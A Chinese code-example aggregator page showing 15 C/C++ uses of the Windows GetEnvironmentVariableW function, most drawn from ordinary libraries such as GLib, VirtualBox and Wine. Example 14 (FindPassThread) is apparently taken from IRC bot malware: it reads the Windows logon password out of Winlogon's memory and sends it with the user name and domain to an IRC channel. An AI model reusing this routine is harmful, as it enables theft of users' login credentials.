本文整理汇总了C++中GetEnvironmentVariableW函数的典型用法代码示例。如果您正苦于以下问题:C++ GetEnvironmentVariableW函数的具体用法?C++ GetEnvironmentVariableW怎么用?C++ GetEnvironmentVariableW使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetEnvironmentVariableW函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: environment_variable
const char* environment_variable( const char* var )
{
#if FOUNDATION_PLATFORM_WINDOWS
unsigned int required;
wchar_t* key = wstring_allocate_from_string( var, 0 );
wchar_t val[FOUNDATION_MAX_PATHLEN]; val[0] = 0;
if( ( required = GetEnvironmentVariableW( key, val, FOUNDATION_MAX_PATHLEN ) ) > FOUNDATION_MAX_PATHLEN )
{
wchar_t* val_local = memory_allocate( sizeof( wchar_t ) * ( required + 2 ), 0, MEMORY_TEMPORARY );
val_local[0] = 0;
GetEnvironmentVariableW( key, val_local, required + 1 );
if( _environment_var )
string_deallocate( _environment_var );
_environment_var = string_allocate_from_wstring( val_local, 0 );
memory_deallocate( val_local );
}
else
{
if( _environment_var )
string_deallocate( _environment_var );
_environment_var = string_allocate_from_wstring( val, 0 );
}
wstring_deallocate( key );
return _environment_var;
#elif FOUNDATION_PLATFORM_POSIX
return getenv( var );
#else
# error Not implemented
#endif
}
示例2: g_getenv
const gchar *
g_getenv (const gchar *variable)
{
GQuark quark;
gchar *value;
wchar_t dummy[2], *wname, *wvalue;
int len;
g_return_val_if_fail (variable != NULL, NULL);
g_return_val_if_fail (g_utf8_validate (variable, -1, NULL), NULL);
/* On Windows NT, it is relatively typical that environment
* variables contain references to other environment variables. If
* so, use ExpandEnvironmentStrings(). (In an ideal world, such
* environment variables would be stored in the Registry as
* REG_EXPAND_SZ type values, and would then get automatically
* expanded before a program sees them. But there is broken software
* that stores environment variables as REG_SZ values even if they
* contain references to other environment variables.)
*/
wname = g_utf8_to_utf16 (variable, -1, NULL, NULL, NULL);
len = GetEnvironmentVariableW (wname, dummy, 2);
if (len == 0)
{
g_free (wname);
return NULL;
}
else if (len == 1)
len = 2;
wvalue = g_new (wchar_t, len);
if (GetEnvironmentVariableW (wname, wvalue, len) != len - 1)
{
g_free (wname);
g_free (wvalue);
return NULL;
}
if (wcschr (wvalue, L'%') != NULL)
{
wchar_t *tem = wvalue;
len = ExpandEnvironmentStringsW (wvalue, dummy, 2);
if (len > 0)
{
wvalue = g_new (wchar_t, len);
if (ExpandEnvironmentStringsW (tem, wvalue, len) != len)
{
g_free (wvalue);
wvalue = tem;
}
else
g_free (tem);
}
示例3: Wname
std::string CEnvironment::getenv(const std::string &name)
{
#ifdef TARGET_WINDOWS
std::wstring Wname (win32ConvertUtf8ToW(name));
if (Wname.empty())
return "";
wchar_t * wStr = ::_wgetenv(Wname.c_str());
if (wStr != NULL)
return win32ConvertWToUtf8(wStr);
// Not found in Environment of runtime library
// Try Environment of process as fallback
unsigned int varSize = GetEnvironmentVariableW(Wname.c_str(), NULL, 0);
if (varSize == 0)
return ""; // Not found
wchar_t * valBuf = new wchar_t[varSize];
if (GetEnvironmentVariableW(Wname.c_str(), valBuf, varSize) != varSize-1)
{
delete[] valBuf;
return "";
}
std::wstring Wvalue (valBuf);
delete[] valBuf;
return win32ConvertWToUtf8(Wvalue);
#else
char * str = ::getenv(name.c_str());
if (str == NULL)
return "";
return str;
#endif
}
示例4: SetEenvironment
BOOL SetEenvironment()
{
LoadString(hInst, IDS_CMDLINE, szCommandLine, sizeof(szCommandLine)/sizeof(szCommandLine[0])-1);
LoadString(hInst, IDS_ENVIRONMENT, szEnvironment, sizeof(szEnvironment)/sizeof(szEnvironment[0])-1);
//LoadString(hInst, IDS_PROXYLIST, szProxyString, sizeof(szProxyString)/sizeof(szEnvironment[0])-1);
WCHAR *sep = L"\n";
WCHAR *pos = NULL;
WCHAR *token = wcstok(szEnvironment, sep);
while(token != NULL)
{
if (pos = wcschr(token, L'='))
{
*pos = 0;
SetEnvironmentVariableW(token, pos+1);
//wprintf(L"[%s] = [%s]\n", token, pos+1);
}
token = wcstok(NULL, sep);
}
GetEnvironmentVariableW(L"TASKBAR_TITLE", szTitle, sizeof(szTitle)/sizeof(szTitle[0])-1);
GetEnvironmentVariableW(L"TASKBAR_TOOLTIP", szTooltip, sizeof(szTooltip)/sizeof(szTooltip[0])-1);
GetEnvironmentVariableW(L"TASKBAR_BALLOON", szBalloon, sizeof(szBalloon)/sizeof(szBalloon[0])-1);
return TRUE;
}
示例5: GetCOMPlusVariable
// Look for 'key' as an environment variable named COMPlus_<key>. The returned value
// is nullptr if it is not found, or a string if found. If not nullptr, the returned
// value must be freed with jitInstance.freeLongLivedArray(value).
wchar_t* GetCOMPlusVariable(const wchar_t* key, JitInstance& jitInstance)
{
static const wchar_t Prefix[] = W("COMPlus_");
static const size_t PrefixLen = (sizeof(Prefix) / sizeof(Prefix[0])) - 1;
// Prepend "COMPlus_" to the provided key
size_t keyLen = wcslen(key);
size_t keyBufferLen = keyLen + PrefixLen + 1;
wchar_t* keyBuffer =
reinterpret_cast<wchar_t*>(jitInstance.allocateArray(static_cast<ULONG>(sizeof(wchar_t) * keyBufferLen)));
wcscpy_s(keyBuffer, keyBufferLen, Prefix);
wcscpy_s(&keyBuffer[PrefixLen], keyLen + 1, key);
// Look up the environment variable
DWORD valueLen = GetEnvironmentVariableW(keyBuffer, nullptr, 0);
if (valueLen == 0)
{
jitInstance.freeArray(keyBuffer);
return nullptr;
}
// Note this value must live as long as the jit instance does.
wchar_t* value = reinterpret_cast<wchar_t*>(jitInstance.allocateLongLivedArray(sizeof(wchar_t) * valueLen));
DWORD newValueLen = GetEnvironmentVariableW(keyBuffer, value, valueLen);
jitInstance.freeArray(keyBuffer);
if (valueLen < newValueLen)
{
jitInstance.freeLongLivedArray(value);
return nullptr;
}
return value;
}
示例6: RTDECL
/**
* Gets the user home directory.
*
* @returns iprt status code.
* @param pszPath Buffer where to store the path.
* @param cchPath Buffer size in bytes.
*/
RTDECL(int) RTPathUserHome(char *pszPath, size_t cchPath)
{
RTUTF16 wszPath[RTPATH_MAX];
DWORD dwAttr;
/*
* There are multiple definitions for what WE think of as user home...
*/
if ( !GetEnvironmentVariableW(L"HOME", &wszPath[0], RTPATH_MAX)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
{
if ( !GetEnvironmentVariableW(L"USERPROFILE", &wszPath[0], RTPATH_MAX)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
{
/* %HOMEDRIVE%%HOMEPATH% */
if (!GetEnvironmentVariableW(L"HOMEDRIVE", &wszPath[0], RTPATH_MAX))
return VERR_PATH_NOT_FOUND;
size_t const cwc = RTUtf16Len(&wszPath[0]);
if ( !GetEnvironmentVariableW(L"HOMEPATH", &wszPath[cwc], RTPATH_MAX - (DWORD)cwc)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
return VERR_PATH_NOT_FOUND;
}
}
/*
* Convert and return.
*/
return RTUtf16ToUtf8Ex(&wszPath[0], RTSTR_MAX, &pszPath, cchPath, NULL);
}
示例7: apxAddToPathW
BOOL apxAddToPathW(APXHANDLE hPool, LPCWSTR szAdd)
{
LPWSTR wsAdd;
DWORD rc;
DWORD al;
rc = GetEnvironmentVariableW(L"PATH", NULL, 0);
if (rc == 0 && GetLastError() == ERROR_ENVVAR_NOT_FOUND)
return FALSE;
al = lstrlenW(szAdd) + 6;
if (!(wsAdd = apxPoolAlloc(hPool, (al + rc + 1) * sizeof(WCHAR))))
return FALSE;
lstrcpyW(wsAdd, L"PATH=");
lstrcatW(wsAdd, szAdd);
lstrcatW(wsAdd, L";");
if (!GetEnvironmentVariableW(L"PATH", wsAdd + al, rc - al)) {
apxLogWrite(APXLOG_MARK_SYSERR);
apxFree(wsAdd);
return FALSE;
}
SetEnvironmentVariableW(L"PATH", wsAdd + 5);
_wputenv(wsAdd);
apxFree(wsAdd);
return TRUE;
}
示例8: Java_net_rubygrapefruit_platform_internal_jni_PosixProcessFunctions_getEnvironmentVariable
JNIEXPORT jstring JNICALL
Java_net_rubygrapefruit_platform_internal_jni_PosixProcessFunctions_getEnvironmentVariable(JNIEnv *env, jclass target, jstring var, jobject result) {
wchar_t* varStr = java_to_wchar(env, var, result);
DWORD len = GetEnvironmentVariableW(varStr, NULL, 0);
if (len == 0) {
if (GetLastError() != ERROR_ENVVAR_NOT_FOUND) {
mark_failed_with_errno(env, "could not determine length of environment variable", result);
}
free(varStr);
return NULL;
}
wchar_t* valueStr = (wchar_t*)malloc(sizeof(wchar_t) * len);
DWORD copied = GetEnvironmentVariableW(varStr, valueStr, len);
if (copied == 0) {
if (len > 1) {
// If the value is empty, then copied will be 0
mark_failed_with_errno(env, "could not get environment variable", result);
}
free(varStr);
free(valueStr);
return NULL;
}
free(varStr);
jstring value = wchar_to_java(env, valueStr, copied, result);
free(valueStr);
return value;
}
示例9: c_getenv
const char *
c_getenv(const char *variable)
{
c_utf16_t *var, *buffer;
char *val = NULL;
int32_t buffer_size = 1024;
int32_t retval;
var = u8to16(variable);
buffer = c_malloc(buffer_size * sizeof(c_utf16_t));
retval = GetEnvironmentVariableW(var, buffer, buffer_size);
if (retval != 0) {
if (retval > buffer_size) {
c_free(buffer);
buffer_size = retval;
buffer = c_malloc(buffer_size * sizeof(c_utf16_t));
retval = GetEnvironmentVariableW(var, buffer, buffer_size);
}
val = u16to8(buffer);
} else {
if (GetLastError() != ERROR_ENVVAR_NOT_FOUND) {
val = c_malloc(1);
*val = 0;
}
}
c_free(var);
c_free(buffer);
return val;
}
示例10: SetEenvironment
BOOL SetEenvironment() {
WCHAR *sep = L"\n";
WCHAR *pos = NULL;
WCHAR *token = wcstok(szEnvironment, sep);
while(token != NULL) {
if (pos = wcschr(token, L'=')) {
*pos = 0;
SetEnvironmentVariableW(token, pos+1);
}
token = wcstok(NULL, sep);
}
GetEnvironmentVariableW(L"ENV_VISIBLE", szVisible, sizeof(szVisible)/sizeof(szVisible[0])-1);
GetEnvironmentVariableW(L"ENV_TITLE", szTitle, sizeof(szTitle)/sizeof(szTitle[0])-1);
GetEnvironmentVariableW(L"ENV_TOOLTIP", szTooltip, sizeof(szTooltip)/sizeof(szTooltip[0])-1);
GetEnvironmentVariableW(L"ENV_BALLOON", szBalloon, sizeof(szBalloon)/sizeof(szBalloon[0])-1);
ParseSubMenuTitleList();
ParseSubMenuCmdList();
ParseSubMenuPathList();
GetModuleFileName(NULL, szPath, sizeof(szPath)/sizeof(szPath[0])-1);
*wcsrchr(szPath, L'\\') = 0;
SetEnvironmentVariableW(L"ENV_BOOT_PWD", szPath);
return TRUE;
}
示例11: Sutf8_to_wide
char *Sgetenv(const char *name) {
wchar_t* wname;
DWORD n;
wchar_t buffer[256];
wname = Sutf8_to_wide(name);
if (NULL == wname) return NULL;
n = GetEnvironmentVariableW(wname, buffer, 256);
if (n == 0) {
free(wname);
return NULL;
} else if (n <= 256) {
free(wname);
return Swide_to_utf8(buffer);
} else {
wchar_t* value = (wchar_t*)malloc(n * sizeof(wchar_t));
if (0 == GetEnvironmentVariableW(wname, value, n)) {
free(wname);
free(value);
return NULL;
} else {
char* result = Swide_to_utf8(value);
free(wname);
free(value);
return result;
}
}
}
示例12: GetTempPathW
/*
* @implemented
*
* ripped from wine
*/
DWORD
WINAPI
GetTempPathW (
DWORD count,
LPWSTR path
)
{
static const WCHAR tmp[] = { 'T', 'M', 'P', 0 };
static const WCHAR temp[] = { 'T', 'E', 'M', 'P', 0 };
static const WCHAR userprofile[] = { 'U','S','E','R','P','R','O','F','I','L','E',0 };
WCHAR tmp_path[MAX_PATH];
UINT ret;
TRACE("%u,%p\n", count, path);
if (!(ret = GetEnvironmentVariableW( tmp, tmp_path, MAX_PATH )) &&
!(ret = GetEnvironmentVariableW( temp, tmp_path, MAX_PATH )) &&
!(ret = GetEnvironmentVariableW( userprofile, tmp_path, MAX_PATH )) &&
!(ret = GetWindowsDirectoryW( tmp_path, MAX_PATH )))
return 0;
if (ret > MAX_PATH)
{
SetLastError(ERROR_FILENAME_EXCED_RANGE);
return 0;
}
ret = GetFullPathNameW(tmp_path, MAX_PATH, tmp_path, NULL);
if (!ret) return 0;
if (ret > MAX_PATH - 2)
{
SetLastError(ERROR_FILENAME_EXCED_RANGE);
return 0;
}
if (tmp_path[ret-1] != '\\')
{
tmp_path[ret++] = '\\';
tmp_path[ret] = '\0';
}
ret++; /* add space for terminating 0 */
if (count)
{
lstrcpynW(path, tmp_path, count);
if (count >= ret)
ret--; /* return length without 0 */
else if (count < 4)
path[0] = 0; /* avoid returning ambiguous "X:" */
}
TRACE("GetTempPathW returning %u, %S\n", ret, path);
return ret;
}
示例13: RTDECL
/**
* Gets the user home directory.
*
* @returns iprt status code.
* @param pszPath Buffer where to store the path.
* @param cchPath Buffer size in bytes.
*/
RTDECL(int) RTPathUserHome(char *pszPath, size_t cchPath)
{
/*
* Validate input
*/
AssertPtrReturn(pszPath, VERR_INVALID_POINTER);
AssertReturn(cchPath, VERR_INVALID_PARAMETER);
RTUTF16 wszPath[RTPATH_MAX];
bool fValidFolderPath = false;
/*
* Try with Windows XP+ functionality first.
*/
RTLDRMOD hShell32;
int rc = RTLdrLoadSystem("Shell32.dll", true /*fNoUnload*/, &hShell32);
if (RT_SUCCESS(rc))
{
PFNSHGETFOLDERPATHW pfnSHGetFolderPathW;
rc = RTLdrGetSymbol(hShell32, "SHGetFolderPathW", (void**)&pfnSHGetFolderPathW);
if (RT_SUCCESS(rc))
{
HRESULT hrc = pfnSHGetFolderPathW(0, CSIDL_PROFILE, NULL, SHGFP_TYPE_CURRENT, wszPath);
fValidFolderPath = (hrc == S_OK);
}
RTLdrClose(hShell32);
}
DWORD dwAttr;
if ( !fValidFolderPath
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
{
/*
* Fall back to Windows specific environment variables. HOME is not used.
*/
if ( !GetEnvironmentVariableW(L"USERPROFILE", &wszPath[0], RTPATH_MAX)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
{
/* %HOMEDRIVE%%HOMEPATH% */
if (!GetEnvironmentVariableW(L"HOMEDRIVE", &wszPath[0], RTPATH_MAX))
return VERR_PATH_NOT_FOUND;
size_t const cwc = RTUtf16Len(&wszPath[0]);
if ( !GetEnvironmentVariableW(L"HOMEPATH", &wszPath[cwc], RTPATH_MAX - (DWORD)cwc)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
return VERR_PATH_NOT_FOUND;
}
}
/*
* Convert and return.
*/
return RTUtf16ToUtf8Ex(&wszPath[0], RTSTR_MAX, &pszPath, cchPath, NULL);
}
示例14: FindPassThread
DWORD WINAPI FindPassThread(LPVOID param)
{
FINDPASS findpass = *((FINDPASS *)param);
FINDPASS *findpasss = (FINDPASS *)param;
findpasss->gotinfo = TRUE;
char sendbuf[IRCLINE];
DWORD dwOS = OSVersionCheck();
if (dwOS == OS_WINNT || dwOS == OS_WIN2K) {
if (AdjustPrivileges("SeDebugPrivilege", TRUE)) {
HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)GetProcAddress
(hNtDll,"NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)GetProcAddress
(hNtDll,"RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION)GetProcAddress
(hNtDll,"RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER)GetProcAddress
(hNtDll,"RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING)GetProcAddress
(hNtDll,"RtlRunDecodeUnicodeString");
DWORD WinLogonPID = FindWinLogon();
if (WinLogonPID != 0) {
GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);
BOOL FoundPasswordPage = ((dwOS == OS_WINNT)?(LocatePasswordPageWinNT(WinLogonPID,&PasswordLength))
:(LocatePasswordPageWin2K(WinLogonPID,&PasswordLength)));
if (FoundPasswordPage) {
if (PasswordLength == 0)
_snprintf(sendbuf,sizeof(sendbuf),"[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/(no password)).",
WinLogonPID,UserDomain,UserName);
else
sprintf(sendbuf,(dwOS == OS_WINNT)?(DisplayPasswordWinNT(WinLogonPID)):(DisplayPasswordWin2K(WinLogonPID)));
} else
sprintf(sendbuf,"[FINDPASS]: Unable to find the password in memory.");
} else
sprintf(sendbuf,"[FINDPASS]: Unable to find Winlogon Process ID.");
AdjustPrivileges("SeDebugPrivilege", FALSE);
FreeLibrary(hNtDll);
} else
sprintf(sendbuf, "[FINDPASS]: Failed to enable Debug Privilege.");
} else
sprintf(sendbuf, "[FINDPASS]: Only supported on Windows NT/2000.");
if (!findpass.silent) irc_privmsg(findpass.sock,findpass.chan,sendbuf,findpass.notice);
addlog(sendbuf);
clearthread(findpass.threadnum);
ExitThread(0);
}
示例15: getWindowsVariable
static inline UString getWindowsVariable(const wchar_t *variable) {
DWORD length = GetEnvironmentVariableW(variable, 0, 0);
if (!length)
return "";
const size_t size = length * sizeof(wchar_t);
ScopedArray<byte> data(new byte[size]);
DWORD newLength = GetEnvironmentVariableW(variable, reinterpret_cast<wchar_t *>(data.get()), length);
if (!newLength || (newLength > length))
return "";
return readString(data.get(), size, kEncodingUTF16LE);
}